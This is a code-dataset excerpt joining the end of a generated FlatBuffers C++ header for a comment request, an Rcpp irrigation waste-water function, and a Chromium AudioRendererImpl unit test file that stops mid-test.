VerifyField<flatbuffers::uoffset_t>(verifier, 8 /* content */) &&
verifier.Verify(content()) &&
verifier.EndTable();
}
};
struct NewCommentRequestBuilder {
flatbuffers::FlatBufferBuilder &fbb_;
flatbuffers::uoffset_t start_;
void add_session(flatbuffers::Offset<fbs::Session> session) { fbb_.AddOffset(4, session); }
void add_post_id(uint64_t post_id) { fbb_.AddElement<uint64_t>(6, post_id, 0); }
void add_content(flatbuffers::Offset<flatbuffers::String> content) { fbb_.AddOffset(8, content); }
NewCommentRequestBuilder(flatbuffers::FlatBufferBuilder &_fbb) : fbb_(_fbb) { start_ = fbb_.StartTable(); }
NewCommentRequestBuilder &operator=(const NewCommentRequestBuilder &);
flatbuffers::Offset<NewCommentRequest> Finish() {
auto o = flatbuffers::Offset<NewCommentRequest>(fbb_.EndTable(start_, 3));
return o;
}
};
inline flatbuffers::Offset<NewCommentRequest> CreateNewCommentRequest(flatbuffers::FlatBufferBuilder &_fbb,
flatbuffers::Offset<fbs::Session> session = 0,
uint64_t post_id = 0,
flatbuffers::Offset<flatbuffers::String> content = 0) {
NewCommentRequestBuilder builder_(_fbb);
builder_.add_post_id(post_id);
builder_.add_content(content);
builder_.add_session(session);
return builder_.Finish();
}
inline const fbs::post::NewCommentRequest *GetNewCommentRequest(const void *buf) { return flatbuffers::GetRoot<fbs::post::NewCommentRequest>(buf); }
inline bool VerifyNewCommentRequestBuffer(flatbuffers::Verifier &verifier) { return verifier.VerifyBuffer<fbs::post::NewCommentRequest>(); }
inline void FinishNewCommentRequestBuffer(flatbuffers::FlatBufferBuilder &fbb, flatbuffers::Offset<fbs::post::NewCommentRequest> root) { fbb.Finish(root); }
} // namespace post
} // namespace fbs
#endif // FLATBUFFERS_GENERATED_NEWCOMMENTREQ_FBS_POST_H_
| [
"yihshyng223@gmail.com"
] | yihshyng223@gmail.com |
90fa5ef7f58db146bb790350b8f5f44b3a8e4018 | 5533feb659c62d8d9d59d010ae2e80ea11027c15 | /src/waste_water.cpp | d6000c5771117c262c5fb5ba7783237da7807982 | [] | no_license | GiulioGenova/SBR | 7ae368483e43195d920a793eee84509fa82a594c | 1e3091f7f5be6474075072fb3106894afa2b3046 | refs/heads/master | 2020-04-05T13:13:05.122950 | 2020-02-18T20:37:36 | 2020-02-18T20:37:36 | 156,892,434 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,183 | cpp | #include <Rcpp.h>
using namespace Rcpp;
// [[Rcpp::export]]
NumericVector waste_water_adj(NumericVector n, NumericVector e, NumericVector irrig, double taw, double p, NumericVector k,double acc) {
NumericVector waste_water(e.size());
double raw = taw*p;
double ks = 0;
double waste = 0;
double need = 0;
for (int i=0; i < n.size(); ++i) {
//acc = acc + e[i] - n[i];
if ((acc + e[i]*k[i] - n[i] - irrig[i]) <= 0) {
if ((-acc - e[i]*k[i] + n[i]) > 0){
waste = irrig[i];
}
else if ((-acc - e[i]*k[i] + n[i]) <= 0) {
need = acc + e[i]*k[i] - n[i];
waste = irrig[i] - need;
}
acc = 0;
}
else if ((acc + e[i]*k[i] - n[i] - irrig[i])> 0 & (acc + e[i]*k[i] - n[i] - irrig[i]) < raw){
acc = acc + e[i]*k[i] - n[i] - irrig[i];
waste = 0;
}
else if ((acc + e[i]*k[i] - n[i] - irrig[i])> raw & (acc + e[i]*k[i] - n[i] - irrig[i]) < taw) {
ks = (taw-(acc + e[i]*k[i] - n[i] - irrig[i])) / ((1 - p) * taw );
acc = acc + e[i]*k[i]*ks - n[i] - irrig[i];
waste = 0;
}
else {
acc = taw ;
waste = 0;
}
waste_water[i] = waste;
}
return waste_water;
}
| [
"giuliogenova89@gmail.com"
] | giuliogenova89@gmail.com |
625ebba939d0fe61b1b4d68c6e26b11be826773b | 2c148e207664a55a5809a3436cbbd23b447bf7fb | /src/media/renderers/audio_renderer_impl_unittest.cc | e938c6db399ad754f0d28f0f44c8b5f3532d96da | [
"BSD-3-Clause"
] | permissive | nuzumglobal/Elastos.Trinity.Alpha.Android | 2bae061d281ba764d544990f2e1b2419b8e1e6b2 | 4c6dad6b1f24d43cadb162fb1dbec4798a8c05f3 | refs/heads/master | 2020-05-21T17:30:46.563321 | 2018-09-03T05:16:16 | 2018-09-03T05:16:16 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 44,085 | cc | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "media/renderers/audio_renderer_impl.h"
#include <memory>
#include <utility>
#include <vector>
#include "base/bind.h"
#include "base/callback_helpers.h"
#include "base/format_macros.h"
#include "base/macros.h"
#include "base/message_loop/message_loop.h"
#include "base/run_loop.h"
#include "base/single_thread_task_runner.h"
#include "base/strings/stringprintf.h"
#include "base/test/simple_test_tick_clock.h"
#include "media/base/audio_buffer_converter.h"
#include "media/base/fake_audio_renderer_sink.h"
#include "media/base/gmock_callback_support.h"
#include "media/base/media_client.h"
#include "media/base/media_util.h"
#include "media/base/mock_filters.h"
#include "media/base/test_helpers.h"
#include "testing/gtest/include/gtest/gtest.h"
using ::base::TimeDelta;
using ::testing::_;
using ::testing::Return;
using ::testing::SaveArg;
namespace media {
namespace {
// Since AudioBufferConverter is used due to different input/output sample
// rates, define some helper types to differentiate between the two.
struct InputFrames {
explicit InputFrames(int value) : value(value) {}
int value;
};
struct OutputFrames {
explicit OutputFrames(int value) : value(value) {}
int value;
};
class MockMediaClient : public MediaClient {
public:
MockMediaClient() = default;
~MockMediaClient() override = default;
void AddSupportedKeySystems(
std::vector<std::unique_ptr<KeySystemProperties>>* key_systems) override {
}
bool IsKeySystemsUpdateNeeded() override { return false; }
bool IsSupportedAudioConfig(const AudioConfig& config) override {
return true;
}
bool IsSupportedVideoConfig(const VideoConfig& config) override {
return true;
}
bool IsSupportedBitstreamAudioCodec(AudioCodec codec) override {
return true;
}
};
} // namespace
// Constants to specify the type of audio data used.
static AudioCodec kCodec = kCodecVorbis;
static SampleFormat kSampleFormat = kSampleFormatPlanarF32;
static ChannelLayout kChannelLayout = CHANNEL_LAYOUT_STEREO;
static int kChannelCount = 2;
static int kChannels = ChannelLayoutToChannelCount(kChannelLayout);
// Use a different output sample rate so the AudioBufferConverter is invoked.
static int kInputSamplesPerSecond = 5000;
static int kOutputSamplesPerSecond = 10000;
static double kOutputMicrosPerFrame =
static_cast<double>(base::Time::kMicrosecondsPerSecond) /
kOutputSamplesPerSecond;
ACTION_P(EnterPendingDecoderInitStateAction, test) {
test->EnterPendingDecoderInitState(arg2);
}
class AudioRendererImplTest : public ::testing::Test, public RendererClient {
public:
std::vector<std::unique_ptr<AudioDecoder>> CreateAudioDecoderForTest() {
auto decoder = std::make_unique<MockAudioDecoder>();
if (!enter_pending_decoder_init_) {
EXPECT_CALL(*decoder, Initialize(_, _, _, _, _))
.WillOnce(DoAll(SaveArg<3>(&output_cb_),
RunCallback<2>(expected_init_result_)));
} else {
EXPECT_CALL(*decoder, Initialize(_, _, _, _, _))
.WillOnce(EnterPendingDecoderInitStateAction(this));
}
EXPECT_CALL(*decoder, Decode(_, _))
.WillRepeatedly(Invoke(this, &AudioRendererImplTest::DecodeDecoder));
EXPECT_CALL(*decoder, Reset(_))
.WillRepeatedly(Invoke(this, &AudioRendererImplTest::ResetDecoder));
std::vector<std::unique_ptr<AudioDecoder>> decoders;
decoders.push_back(std::move(decoder));
return decoders;
}
// Give the decoder some non-garbage media properties.
AudioRendererImplTest()
: hardware_params_(AudioParameters::AUDIO_PCM_LOW_LATENCY,
kChannelLayout,
kOutputSamplesPerSecond,
SampleFormatToBytesPerChannel(kSampleFormat) * 8,
512),
sink_(new FakeAudioRendererSink(hardware_params_)),
demuxer_stream_(DemuxerStream::AUDIO),
expected_init_result_(true),
enter_pending_decoder_init_(false),
ended_(false) {
AudioDecoderConfig audio_config(kCodec, kSampleFormat, kChannelLayout,
kInputSamplesPerSecond, EmptyExtraData(),
Unencrypted());
demuxer_stream_.set_audio_decoder_config(audio_config);
ConfigureDemuxerStream(true);
AudioParameters out_params(AudioParameters::AUDIO_PCM_LOW_LATENCY,
kChannelLayout,
kOutputSamplesPerSecond,
SampleFormatToBytesPerChannel(kSampleFormat) * 8,
512);
renderer_.reset(new AudioRendererImpl(
message_loop_.task_runner(), sink_.get(),
base::Bind(&AudioRendererImplTest::CreateAudioDecoderForTest,
base::Unretained(this)),
&media_log_));
renderer_->tick_clock_ = &tick_clock_;
tick_clock_.Advance(base::TimeDelta::FromSeconds(1));
}
~AudioRendererImplTest() override {
SCOPED_TRACE("~AudioRendererImplTest()");
}
// Mock out demuxer reads.
void ConfigureDemuxerStream(bool supports_config_changes) {
EXPECT_CALL(demuxer_stream_, Read(_))
.WillRepeatedly(
RunCallback<0>(DemuxerStream::kOk,
scoped_refptr<DecoderBuffer>(new DecoderBuffer(0))));
EXPECT_CALL(demuxer_stream_, SupportsConfigChanges())
.WillRepeatedly(Return(supports_config_changes));
}
// Reconfigures a renderer without config change support using given params.
void ConfigureBasicRenderer(const AudioParameters& params) {
hardware_params_ = params;
sink_ = new FakeAudioRendererSink(hardware_params_);
renderer_.reset(new AudioRendererImpl(
message_loop_.task_runner(), sink_.get(),
base::Bind(&AudioRendererImplTest::CreateAudioDecoderForTest,
base::Unretained(this)),
&media_log_));
testing::Mock::VerifyAndClearExpectations(&demuxer_stream_);
ConfigureDemuxerStream(false);
}
// Reconfigures a renderer with config change support using given params.
void ConfigureConfigChangeRenderer(const AudioParameters& params,
const AudioParameters& hardware_params) {
hardware_params_ = hardware_params;
sink_ = new FakeAudioRendererSink(hardware_params_);
renderer_.reset(new AudioRendererImpl(
message_loop_.task_runner(), sink_.get(),
base::Bind(&AudioRendererImplTest::CreateAudioDecoderForTest,
base::Unretained(this)),
&media_log_));
testing::Mock::VerifyAndClearExpectations(&demuxer_stream_);
ConfigureDemuxerStream(true);
}
// RendererClient implementation.
MOCK_METHOD1(OnError, void(PipelineStatus));
void OnEnded() override {
CHECK(!ended_);
ended_ = true;
}
void OnStatisticsUpdate(const PipelineStatistics& stats) override {
last_statistics_.audio_memory_usage += stats.audio_memory_usage;
}
MOCK_METHOD1(OnBufferingStateChange, void(BufferingState));
MOCK_METHOD0(OnWaitingForDecryptionKey, void(void));
MOCK_METHOD1(OnAudioConfigChange, void(const AudioDecoderConfig&));
MOCK_METHOD1(OnVideoConfigChange, void(const VideoDecoderConfig&));
MOCK_METHOD1(OnVideoNaturalSizeChange, void(const gfx::Size&));
MOCK_METHOD1(OnVideoOpacityChange, void(bool));
MOCK_METHOD1(OnDurationChange, void(base::TimeDelta));
void InitializeRenderer(DemuxerStream* demuxer_stream,
const PipelineStatusCB& pipeline_status_cb) {
EXPECT_CALL(*this, OnWaitingForDecryptionKey()).Times(0);
EXPECT_CALL(*this, OnVideoNaturalSizeChange(_)).Times(0);
EXPECT_CALL(*this, OnVideoOpacityChange(_)).Times(0);
EXPECT_CALL(*this, OnVideoConfigChange(_)).Times(0);
renderer_->Initialize(demuxer_stream, nullptr, this, pipeline_status_cb);
}
void Initialize() {
InitializeWithStatus(PIPELINE_OK);
next_timestamp_.reset(new AudioTimestampHelper(kInputSamplesPerSecond));
}
void InitializeBitstreamFormat() {
SetMediaClient(&media_client_);
hardware_params_.Reset(AudioParameters::AUDIO_BITSTREAM_EAC3,
kChannelLayout, kOutputSamplesPerSecond, 1024, 512);
sink_ = new FakeAudioRendererSink(hardware_params_);
AudioDecoderConfig audio_config(kCodecAC3, kSampleFormatEac3,
kChannelLayout, kInputSamplesPerSecond,
EmptyExtraData(), Unencrypted());
demuxer_stream_.set_audio_decoder_config(audio_config);
ConfigureDemuxerStream(true);
renderer_.reset(new AudioRendererImpl(
message_loop_.task_runner(), sink_.get(),
base::Bind(&AudioRendererImplTest::CreateAudioDecoderForTest,
base::Unretained(this)),
&media_log_));
Initialize();
}
void InitializeWithStatus(PipelineStatus expected) {
SCOPED_TRACE(base::StringPrintf("InitializeWithStatus(%d)", expected));
WaitableMessageLoopEvent event;
InitializeRenderer(&demuxer_stream_, event.GetPipelineStatusCB());
event.RunAndWaitForStatus(expected);
// We should have no reads.
EXPECT_TRUE(decode_cb_.is_null());
}
void InitializeAndDestroy() {
WaitableMessageLoopEvent event;
InitializeRenderer(&demuxer_stream_, event.GetPipelineStatusCB());
// Destroy the |renderer_| before we let the MessageLoop run, this simulates
// an interleaving in which we end up destroying the |renderer_| while the
// OnDecoderSelected callback is in flight.
renderer_.reset();
event.RunAndWaitForStatus(PIPELINE_ERROR_ABORT);
}
void InitializeAndDestroyDuringDecoderInit() {
enter_pending_decoder_init_ = true;
WaitableMessageLoopEvent event;
InitializeRenderer(&demuxer_stream_, event.GetPipelineStatusCB());
base::RunLoop().RunUntilIdle();
DCHECK(!init_decoder_cb_.is_null());
renderer_.reset();
event.RunAndWaitForStatus(PIPELINE_ERROR_ABORT);
}
void EnterPendingDecoderInitState(const AudioDecoder::InitCB& cb) {
init_decoder_cb_ = cb;
}
void FlushDuringPendingRead() {
SCOPED_TRACE("FlushDuringPendingRead()");
WaitableMessageLoopEvent flush_event;
renderer_->Flush(flush_event.GetClosure());
SatisfyPendingRead(InputFrames(256));
flush_event.RunAndWait();
EXPECT_FALSE(IsReadPending());
}
void Preroll() {
Preroll(base::TimeDelta(), base::TimeDelta(), PIPELINE_OK);
}
void Preroll(base::TimeDelta start_timestamp,
base::TimeDelta first_timestamp,
PipelineStatus expected) {
SCOPED_TRACE(base::StringPrintf("Preroll(%" PRId64 ", %d)",
first_timestamp.InMilliseconds(),
expected));
next_timestamp_->SetBaseTimestamp(first_timestamp);
// Fill entire buffer to complete prerolling.
renderer_->SetMediaTime(start_timestamp);
renderer_->StartPlaying();
WaitForPendingRead();
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_ENOUGH));
DeliverRemainingAudio();
}
void StartTicking() {
renderer_->StartTicking();
renderer_->SetPlaybackRate(1.0);
}
void StopTicking() { renderer_->StopTicking(); }
bool IsReadPending() const {
return !decode_cb_.is_null();
}
void WaitForPendingRead() {
SCOPED_TRACE("WaitForPendingRead()");
if (!decode_cb_.is_null())
return;
DCHECK(wait_for_pending_decode_cb_.is_null());
WaitableMessageLoopEvent event;
wait_for_pending_decode_cb_ = event.GetClosure();
event.RunAndWait();
DCHECK(!decode_cb_.is_null());
DCHECK(wait_for_pending_decode_cb_.is_null());
}
// Delivers decoded frames to |renderer_|.
void SatisfyPendingRead(InputFrames frames) {
CHECK_GT(frames.value, 0);
CHECK(!decode_cb_.is_null());
scoped_refptr<AudioBuffer> buffer;
if (hardware_params_.IsBitstreamFormat()) {
buffer = MakeBitstreamAudioBuffer(kSampleFormatEac3, kChannelLayout,
kChannelCount, kInputSamplesPerSecond,
1, 0, frames.value, frames.value / 2,
next_timestamp_->GetTimestamp());
} else {
buffer = MakeAudioBuffer<float>(
kSampleFormat, kChannelLayout, kChannelCount, kInputSamplesPerSecond,
1.0f, 0.0f, frames.value, next_timestamp_->GetTimestamp());
}
next_timestamp_->AddFrames(frames.value);
DeliverBuffer(DecodeStatus::OK, buffer);
}
void DeliverEndOfStream() {
DCHECK(!decode_cb_.is_null());
// Return EOS buffer to trigger EOS frame.
EXPECT_CALL(demuxer_stream_, Read(_))
.WillOnce(RunCallback<0>(DemuxerStream::kOk,
DecoderBuffer::CreateEOSBuffer()));
// Satify pending |decode_cb_| to trigger a new DemuxerStream::Read().
message_loop_.task_runner()->PostTask(
FROM_HERE,
base::Bind(base::ResetAndReturn(&decode_cb_), DecodeStatus::OK));
WaitForPendingRead();
message_loop_.task_runner()->PostTask(
FROM_HERE,
base::Bind(base::ResetAndReturn(&decode_cb_), DecodeStatus::OK));
base::RunLoop().RunUntilIdle();
EXPECT_EQ(last_statistics_.audio_memory_usage,
renderer_->algorithm_->GetMemoryUsage());
}
// Delivers frames until |renderer_|'s internal buffer is full and no longer
// has pending reads.
void DeliverRemainingAudio() {
while (frames_remaining_in_buffer().value > 0) {
SatisfyPendingRead(InputFrames(256));
}
}
// Attempts to consume |requested_frames| frames from |renderer_|'s internal
// buffer. Returns true if and only if all of |requested_frames| were able
// to be consumed.
bool ConsumeBufferedData(OutputFrames requested_frames,
base::TimeDelta delay) {
std::unique_ptr<AudioBus> bus =
AudioBus::Create(kChannels, requested_frames.value);
int frames_read = 0;
EXPECT_TRUE(sink_->Render(bus.get(), delay, &frames_read));
return frames_read == requested_frames.value;
}
bool ConsumeBufferedData(OutputFrames requested_frames) {
return ConsumeBufferedData(requested_frames, base::TimeDelta());
}
bool ConsumeBitstreamBufferedData(OutputFrames requested_frames,
base::TimeDelta delay = base::TimeDelta()) {
std::unique_ptr<AudioBus> bus =
AudioBus::Create(kChannels, requested_frames.value);
int total_frames_read = 0;
while (total_frames_read != requested_frames.value) {
int frames_read = 0;
EXPECT_TRUE(sink_->Render(bus.get(), delay, &frames_read));
if (frames_read <= 0)
break;
total_frames_read += frames_read;
}
return total_frames_read == requested_frames.value;
}
base::TimeTicks ConvertMediaTime(base::TimeDelta timestamp,
bool* is_time_moving) {
std::vector<base::TimeTicks> wall_clock_times;
*is_time_moving = renderer_->GetWallClockTimes(
std::vector<base::TimeDelta>(1, timestamp), &wall_clock_times);
return wall_clock_times[0];
}
base::TimeTicks CurrentMediaWallClockTime(bool* is_time_moving) {
std::vector<base::TimeTicks> wall_clock_times;
*is_time_moving = renderer_->GetWallClockTimes(
std::vector<base::TimeDelta>(), &wall_clock_times);
return wall_clock_times[0];
}
OutputFrames frames_buffered() {
return OutputFrames(renderer_->algorithm_->frames_buffered());
}
OutputFrames buffer_capacity() {
return OutputFrames(renderer_->algorithm_->QueueCapacity());
}
OutputFrames frames_remaining_in_buffer() {
// This can happen if too much data was delivered, in which case the buffer
// will accept the data but not increase capacity.
if (frames_buffered().value > buffer_capacity().value) {
return OutputFrames(0);
}
return OutputFrames(buffer_capacity().value - frames_buffered().value);
}
void force_config_change(const AudioDecoderConfig& config) {
renderer_->OnConfigChange(config);
}
InputFrames converter_input_frames_left() const {
return InputFrames(
renderer_->buffer_converter_->input_frames_left_for_testing());
}
base::TimeDelta CurrentMediaTime() {
return renderer_->CurrentMediaTime();
}
std::vector<bool> channel_mask() const {
CHECK(renderer_->algorithm_);
return renderer_->algorithm_->channel_mask_for_testing();
}
bool ended() const { return ended_; }
void DecodeDecoder(scoped_refptr<DecoderBuffer> buffer,
const AudioDecoder::DecodeCB& decode_cb) {
// TODO(scherkus): Make this a DCHECK after threading semantics are fixed.
if (base::MessageLoop::current() != &message_loop_) {
message_loop_.task_runner()->PostTask(
FROM_HERE, base::Bind(&AudioRendererImplTest::DecodeDecoder,
base::Unretained(this), buffer, decode_cb));
return;
}
CHECK(decode_cb_.is_null()) << "Overlapping decodes are not permitted";
decode_cb_ = decode_cb;
// Wake up WaitForPendingRead() if needed.
if (!wait_for_pending_decode_cb_.is_null())
base::ResetAndReturn(&wait_for_pending_decode_cb_).Run();
}
void ResetDecoder(const base::Closure& reset_cb) {
if (!decode_cb_.is_null()) {
// |reset_cb| will be called in DeliverBuffer(), after the decoder is
// flushed.
reset_cb_ = reset_cb;
return;
}
message_loop_.task_runner()->PostTask(FROM_HERE, reset_cb);
}
void DeliverBuffer(DecodeStatus status,
const scoped_refptr<AudioBuffer>& buffer) {
CHECK(!decode_cb_.is_null());
if (buffer.get() && !buffer->end_of_stream())
output_cb_.Run(buffer);
base::ResetAndReturn(&decode_cb_).Run(status);
if (!reset_cb_.is_null())
base::ResetAndReturn(&reset_cb_).Run();
base::RunLoop().RunUntilIdle();
}
// Fixture members.
AudioParameters hardware_params_;
base::MessageLoop message_loop_;
MediaLog media_log_;
std::unique_ptr<AudioRendererImpl> renderer_;
scoped_refptr<FakeAudioRendererSink> sink_;
base::SimpleTestTickClock tick_clock_;
PipelineStatistics last_statistics_;
MockDemuxerStream demuxer_stream_;
MockMediaClient media_client_;
// Used for satisfying reads.
AudioDecoder::OutputCB output_cb_;
AudioDecoder::DecodeCB decode_cb_;
base::Closure reset_cb_;
std::unique_ptr<AudioTimestampHelper> next_timestamp_;
// Run during DecodeDecoder() to unblock WaitForPendingRead().
base::Closure wait_for_pending_decode_cb_;
AudioDecoder::InitCB init_decoder_cb_;
bool expected_init_result_;
bool enter_pending_decoder_init_;
bool ended_;
DISALLOW_COPY_AND_ASSIGN(AudioRendererImplTest);
};
TEST_F(AudioRendererImplTest, Initialize_Successful) {
Initialize();
}
TEST_F(AudioRendererImplTest, Initialize_DecoderInitFailure) {
expected_init_result_ = false;
InitializeWithStatus(DECODER_ERROR_NOT_SUPPORTED);
}
TEST_F(AudioRendererImplTest, ReinitializeForDifferentStream) {
// Initialize and start playback
Initialize();
Preroll();
StartTicking();
EXPECT_TRUE(ConsumeBufferedData(OutputFrames(256)));
WaitForPendingRead();
// Stop playback and flush
StopTicking();
EXPECT_TRUE(IsReadPending());
// Flush and expect to be notified that we have nothing.
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_NOTHING));
FlushDuringPendingRead();
// Prepare a new demuxer stream.
MockDemuxerStream new_stream(DemuxerStream::AUDIO);
EXPECT_CALL(new_stream, SupportsConfigChanges()).WillOnce(Return(false));
AudioDecoderConfig audio_config(kCodec, kSampleFormat, kChannelLayout,
kInputSamplesPerSecond, EmptyExtraData(),
Unencrypted());
new_stream.set_audio_decoder_config(audio_config);
// The renderer is now in the flushed state and can be reinitialized.
WaitableMessageLoopEvent event;
InitializeRenderer(&new_stream, event.GetPipelineStatusCB());
event.RunAndWaitForStatus(PIPELINE_OK);
}
TEST_F(AudioRendererImplTest, SignalConfigChange) {
// Initialize and start playback.
Initialize();
Preroll();
StartTicking();
EXPECT_TRUE(ConsumeBufferedData(OutputFrames(256)));
WaitForPendingRead();
// Force config change to simulate detected change from decoder stream. Expect
// that RendererClient to be signaled with the new config.
const AudioDecoderConfig kValidAudioConfig(
kCodecVorbis, kSampleFormatPlanarF32, CHANNEL_LAYOUT_STEREO, 44100,
EmptyExtraData(), Unencrypted());
EXPECT_TRUE(kValidAudioConfig.IsValidConfig());
EXPECT_CALL(*this, OnAudioConfigChange(DecoderConfigEq(kValidAudioConfig)));
force_config_change(kValidAudioConfig);
// Verify rendering can continue after config change.
EXPECT_TRUE(ConsumeBufferedData(OutputFrames(256)));
WaitForPendingRead();
// Force a config change with an invalid dummy config. This is occasionally
// done to reset internal state and should not bubble to the RendererClient.
EXPECT_CALL(*this, OnAudioConfigChange(_)).Times(0);
const AudioDecoderConfig kInvalidConfig;
EXPECT_FALSE(kInvalidConfig.IsValidConfig());
force_config_change(kInvalidConfig);
}
TEST_F(AudioRendererImplTest, Preroll) {
Initialize();
Preroll();
}
TEST_F(AudioRendererImplTest, StartTicking) {
Initialize();
Preroll();
StartTicking();
// Drain internal buffer, we should have a pending read.
EXPECT_TRUE(ConsumeBufferedData(frames_buffered()));
WaitForPendingRead();
}
TEST_F(AudioRendererImplTest, EndOfStream) {
Initialize();
Preroll();
StartTicking();
// Drain internal buffer, we should have a pending read.
EXPECT_TRUE(ConsumeBufferedData(frames_buffered()));
WaitForPendingRead();
// Forcefully trigger underflow.
EXPECT_FALSE(ConsumeBufferedData(OutputFrames(1)));
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_NOTHING));
// Fulfill the read with an end-of-stream buffer. Doing so should change our
// buffering state so playback resumes.
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_ENOUGH));
DeliverEndOfStream();
// Consume all remaining data. We shouldn't have signal ended yet.
EXPECT_TRUE(ConsumeBufferedData(frames_buffered()));
base::RunLoop().RunUntilIdle();
EXPECT_FALSE(ended());
// Ended should trigger on next render call.
EXPECT_FALSE(ConsumeBufferedData(OutputFrames(1)));
base::RunLoop().RunUntilIdle();
EXPECT_TRUE(ended());
}
TEST_F(AudioRendererImplTest, Underflow) {
Initialize();
Preroll();
StartTicking();
// Drain internal buffer, we should have a pending read.
EXPECT_TRUE(ConsumeBufferedData(frames_buffered()));
WaitForPendingRead();
// Verify the next FillBuffer() call triggers a buffering state change
// update.
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_NOTHING));
EXPECT_FALSE(ConsumeBufferedData(OutputFrames(1)));
// Verify we're still not getting audio data.
EXPECT_EQ(0, frames_buffered().value);
EXPECT_FALSE(ConsumeBufferedData(OutputFrames(1)));
// Deliver enough data to have enough for buffering.
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_ENOUGH));
DeliverRemainingAudio();
// Verify we're getting audio data.
EXPECT_TRUE(ConsumeBufferedData(OutputFrames(1)));
}
TEST_F(AudioRendererImplTest, Underflow_CapacityResetsAfterFlush) {
Initialize();
Preroll();
StartTicking();
// Drain internal buffer, we should have a pending read.
EXPECT_TRUE(ConsumeBufferedData(frames_buffered()));
WaitForPendingRead();
// Verify the next FillBuffer() call triggers the underflow callback
// since the decoder hasn't delivered any data after it was drained.
OutputFrames initial_capacity = buffer_capacity();
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_NOTHING));
EXPECT_FALSE(ConsumeBufferedData(OutputFrames(1)));
// Verify that the buffer capacity increased as a result of underflowing.
EXPECT_GT(buffer_capacity().value, initial_capacity.value);
// Verify that the buffer capacity is restored to the |initial_capacity|.
FlushDuringPendingRead();
EXPECT_EQ(buffer_capacity().value, initial_capacity.value);
}
TEST_F(AudioRendererImplTest, Underflow_CapacityIncreasesBeforeHaveNothing) {
Initialize();
Preroll();
StartTicking();
// Verify the next FillBuffer() call triggers the underflow callback
// since the decoder hasn't delivered any data after it was drained.
OutputFrames initial_capacity = buffer_capacity();
// Drain internal buffer, we should have a pending read.
EXPECT_FALSE(ConsumeBufferedData(OutputFrames(frames_buffered().value + 1)));
// Verify that the buffer capacity increased despite not sending have nothing.
EXPECT_GT(buffer_capacity().value, initial_capacity.value);
}
TEST_F(AudioRendererImplTest, CapacityAppropriateForHardware) {
// Verify that initial capacity is reasonable in normal case.
Initialize();
EXPECT_GT(buffer_capacity().value, hardware_params_.frames_per_buffer());
// Verify in the no-config-changes-expected case.
ConfigureBasicRenderer(AudioParameters(
AudioParameters::AUDIO_PCM_LOW_LATENCY, kChannelLayout,
kOutputSamplesPerSecond, SampleFormatToBytesPerChannel(kSampleFormat) * 8,
1024 * 15));
Initialize();
EXPECT_GT(buffer_capacity().value, hardware_params_.frames_per_buffer());
}
// Verify that the proper reduced search space is configured for playback rate
// changes when upmixing is applied to the input.
TEST_F(AudioRendererImplTest, ChannelMask) {
AudioParameters hw_params(AudioParameters::AUDIO_PCM_LOW_LATENCY,
CHANNEL_LAYOUT_7_1, kOutputSamplesPerSecond,
SampleFormatToBytesPerChannel(kSampleFormat) * 8,
1024);
ConfigureConfigChangeRenderer(
AudioParameters(AudioParameters::AUDIO_PCM_LOW_LATENCY,
CHANNEL_LAYOUT_STEREO, kOutputSamplesPerSecond,
SampleFormatToBytesPerChannel(kSampleFormat) * 8, 1024),
hw_params);
Initialize();
std::vector<bool> mask = channel_mask();
EXPECT_FALSE(mask.empty());
ASSERT_EQ(mask.size(), static_cast<size_t>(hw_params.channels()));
for (int ch = 0; ch < hw_params.channels(); ++ch) {
if (ch > 1)
ASSERT_FALSE(mask[ch]);
else
ASSERT_TRUE(mask[ch]);
}
renderer_->SetMediaTime(base::TimeDelta());
renderer_->StartPlaying();
WaitForPendingRead();
// Force a channel configuration change.
scoped_refptr<AudioBuffer> buffer = MakeAudioBuffer<float>(
kSampleFormat, hw_params.channel_layout(), hw_params.channels(),
kInputSamplesPerSecond, 1.0f, 0.0f, 256, base::TimeDelta());
DeliverBuffer(DecodeStatus::OK, buffer);
// All channels should now be enabled.
mask = channel_mask();
EXPECT_FALSE(mask.empty());
ASSERT_EQ(mask.size(), static_cast<size_t>(hw_params.channels()));
for (int ch = 0; ch < hw_params.channels(); ++ch)
ASSERT_TRUE(mask[ch]);
}
// Verify that the proper channel mask is configured when downmixing is applied
// to the input with discrete layout. The default hardware layout is stereo.
TEST_F(AudioRendererImplTest, ChannelMask_DownmixDiscreteLayout) {
int audio_channels = 9;
AudioDecoderConfig audio_config(
kCodecOpus, kSampleFormat, CHANNEL_LAYOUT_DISCRETE,
kInputSamplesPerSecond, EmptyExtraData(), Unencrypted());
audio_config.SetChannelsForDiscrete(audio_channels);
demuxer_stream_.set_audio_decoder_config(audio_config);
ConfigureDemuxerStream(true);
// Fake an attached webaudio client.
sink_->SetIsOptimizedForHardwareParameters(false);
Initialize();
std::vector<bool> mask = channel_mask();
EXPECT_FALSE(mask.empty());
ASSERT_EQ(mask.size(), static_cast<size_t>(audio_channels));
for (int ch = 0; ch < audio_channels; ++ch)
ASSERT_TRUE(mask[ch]);
}
TEST_F(AudioRendererImplTest, Underflow_Flush) {
Initialize();
Preroll();
StartTicking();
// Force underflow.
EXPECT_TRUE(ConsumeBufferedData(frames_buffered()));
WaitForPendingRead();
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_NOTHING));
EXPECT_FALSE(ConsumeBufferedData(OutputFrames(1)));
WaitForPendingRead();
StopTicking();
// We shouldn't expect another buffering state change when flushing.
FlushDuringPendingRead();
}
TEST_F(AudioRendererImplTest, PendingRead_Flush) {
Initialize();
Preroll();
StartTicking();
// Partially drain internal buffer so we get a pending read.
EXPECT_TRUE(ConsumeBufferedData(OutputFrames(256)));
WaitForPendingRead();
StopTicking();
EXPECT_TRUE(IsReadPending());
// Flush and expect to be notified that we have nothing.
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_NOTHING));
FlushDuringPendingRead();
// Preroll again to a different timestamp and verify it completed normally.
const base::TimeDelta seek_timestamp =
base::TimeDelta::FromMilliseconds(1000);
